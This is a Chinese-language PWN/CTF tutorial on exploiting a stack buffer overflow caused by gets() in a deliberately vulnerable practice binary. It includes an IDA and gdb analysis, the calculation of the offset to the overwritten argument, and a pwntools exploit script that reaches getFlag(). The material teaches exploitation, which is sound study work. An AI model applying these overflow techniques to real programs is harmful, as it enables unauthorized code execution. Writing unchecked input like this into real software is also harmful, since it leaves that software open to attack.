摘要
本文将详细讲述PWN二进制漏洞中简单的堆栈利用,本文将从原理开始讲述,然后层层深入,让读者从理解到动手操作,能够跟着教程完成所有操作。
0x01 环境和程序准备
安装有pwntools的kali Linux,安装教程可参考上一篇文章。
gdb-peda工具,这个是gdb的插件这个可以百度一下安装和使用教程。
IDA反汇编工具,可自行百度下载和学习使用方法,本文只做简单介绍。
一个Linxu X86的含有漏洞的小程序pwn0,可在本文末尾下载链接处下载。
请在“/home/pwn/pwn0/"目录下建立flag文件,内容为flag{this_is_flag},此文件将是我们要利用pwn0读取的文件。
0x02 运行程序并反汇编分析
首先我们运行我们的程序,发现其就是一个简单的输入,然后输出的小程序,如下图:
我们把程序拉到IDA里面分析一下,发现函数foo(),getFlag(),在函数处按F5,将显示对应的C语言程序,如下:
main函数
从main函数中可以看到并没有什么,只是简单的输出一句话,然后调用了一下foo函数,但是这里给foo函数船了实参值为0x123456,这个后面我们用得到。下面我们看一下foo函数的结构:
foo函数
foo函数有一个参数a1,然后函数体内定义了两个变量,分别是result和s,从IDA分析看,result是一个寄存器变量,不占用内存。然后这个函数接收了我们的输入,然后进行显示,重要的是里面的if判断恒为false。所以这个getFlag()函数就是我们要解决的问题。
getFlag函数
我们发现main函数没有什么问题,主要函数在foo函数,getFlag函数便是我们要执行的函数,但是从现在的逻辑看,似乎这个getFlag()函数是不可能被执行的,因为a1的值为0x123456,但是if里面的判断却要求a1的值为0x61616161(转换为16进制查看),所以这个if是恒为false的。
分析一下流程发现,在foo函数里面声明的char s,但是使用了gets(&s),让我们为s赋值。gets()函数是不会检查你输入的字符串长度的,所以此处会有一个溢出漏洞,大部分简单的溢出漏洞都出现在让我们输入的地方。
foo函数中的第四行代码简单说一下:
C
char s; // [sp+Ch] [bp-1Ch]@1
1
chars;// [sp+Ch] [bp-1Ch]@1
IDA以及为我们分析出来了,这个s变量在内存中的位置距离栈顶有+Ch个字节,距离栈底有-1Ch个字节。注意这里的sp就是esp,bp就是ebp的意思,不明白的可看前面的函数栈分析文章。
分析到这里,我们简单画一下这个foo函数的栈结构图:
这里说一下啊reault变量是eax变量,没有往内存里面存,从IDA的标注可以看出来。有一个知识点也要注意一下,栈里面的数据在写的时候是从低地址往高地址写的,什么意思呢?就是从s开始写数据,一旦s的1字节被写满,就会继续往高地址的地方延申。
分析函数栈可知,我们的变量s只要内容够长,就可以不断的往下延申,最终覆盖掉EBP、EIP甚至a1,所以这里我们便有了利用思路,因为我们的而判断是判断a1和常量0x61616161是否相等,如果我们将s延申,覆盖掉a1,让a1的值恰好等于0x61616161那么if判断不就可以成立,然后执行getFlag()函数拿到flag。下面开始写Payload。
0x03 调试并分析Payload
我们先看一下foo函数的汇编代码:
Dump of assembler code for function foo:
0x0804859f : push ebp
0x080485a0 : mov ebp,esp
0x080485a2 : sub esp,0x28
0x080485a5 : sub esp,0xc
0x080485a8 : lea eax,[ebp-0x1c]
0x080485ab : push eax
0x080485ac : call 0x8048400
0x080485b1 : add esp,0x10
0x080485b4 : sub esp,0xc
0x080485b7 : lea eax,[ebp-0x1c]
0x080485ba : push eax
0x080485bb : call 0x8048420
0x080485c0 : add esp,0x10
0x080485c3 : cmp DWORD PTR [ebp+0x8],0x61616161
0x080485ca : jne 0x80485d1
0x080485cc : call 0x804855b
0x080485d1 : nop
0x080485d2 : leave
0x080485d3 : ret
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dumpofassemblercodeforfunctionfoo:
0x0804859f:pushebp
0x080485a0:movebp,esp
0x080485a2:subesp,0x28
0x080485a5:subesp,0xc
0x080485a8:leaeax,[ebp-0x1c]
0x080485ab:pusheax
0x080485ac:call0x8048400
0x080485b1:addesp,0x10
0x080485b4:subesp,0xc
0x080485b7:leaeax,[ebp-0x1c]
0x080485ba:pusheax
0x080485bb:call0x8048420
0x080485c0:addesp,0x10
0x080485c3:cmpDWORDPTR[ebp+0x8],0x61616161
0x080485ca:jne0x80485d1
0x080485cc:call0x804855b
0x080485d1:nop
0x080485d2:leave
0x080485d3:ret
Endofassemblerdump.
我们在0x080485ab出下断点,可以看到变量s的地址就是eax的值,如下图:
此时eax的值为0xbffff1ac,EBP的值为0xbffff1c8正好相差0x1C,然后我们看下栈里面的情况:
我们发现我们的分析是正确的,a1在EIP下面,s和EBP相差0x1C,那么我们来计算一下s到a1的距离一共是:0x1C + 0x4(EBP) + 0x4(EIP) = 0x24 = 36 ,距离大概就是这样,那么我们测试一下,如果输入36个A和4个B会发生什么,输入完成后查看堆栈:
我们发现原来0xbffff1d0地址中存储的0x1231456被我们的BBBB给覆盖掉了。所以我们只需要将BBBB改为0x61616161就可以使if成立,但是这里要注意,我们输入的使字符串,和数字使不同的,我们需要将数字转化为字符串然后进行输入,这里我们使用Python中pwntools进行输入和输出。
到此位置我们可以编写Payload进行溢出利用了,下面开始编写脚本。
0x04 编写Payload利用脚本
基本的脚本利用如下:
pwn0Crack.py
Python
#-*- coding: utf-8 -*-
from pwn import *
#载入程序
pwn = process('./pwn0')
#读取一行程序的输出并显示
print pwn.recvline()
#构造payload
payload = 'A' * 0x1C + 'A' * 0x4 + 'A' * 0x4
#p32封包,将值转换为字符
payload += p32(0x61616161)
#向程序输入一行数据
pwn.sendline(payload)
#打印一行输出
print pwn.recvline()
#打印出flag
print pwn.recvline()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-*- coding: utf-8 -*-
frompwnimport*
#载入程序
pwn=process('./pwn0')
#读取一行程序的输出并显示
printpwn.recvline()
#构造payload
payload='A'*0x1C+'A'*0x4+'A'*0x4
#p32封包,将值转换为字符
payload+=p32(0x61616161)
#向程序输入一行数据
pwn.sendline(payload)
#打印一行输出
printpwn.recvline()
#打印出flag
printpwn.recvline()
看程序运行结果如下:
可以看到我们的getFlag函数以及成功运行,并且读取到了flag文件
0x05 补充
本文的程序比较简单,但是理解溢出漏洞练手的好程序,并且这个程序不止这个个利用方式,还有令该一个方式就是直接覆盖EIP然后跳转到getFlag()函数,下篇文章我们将讲述这种做法。
本文程序下载(密码akcz):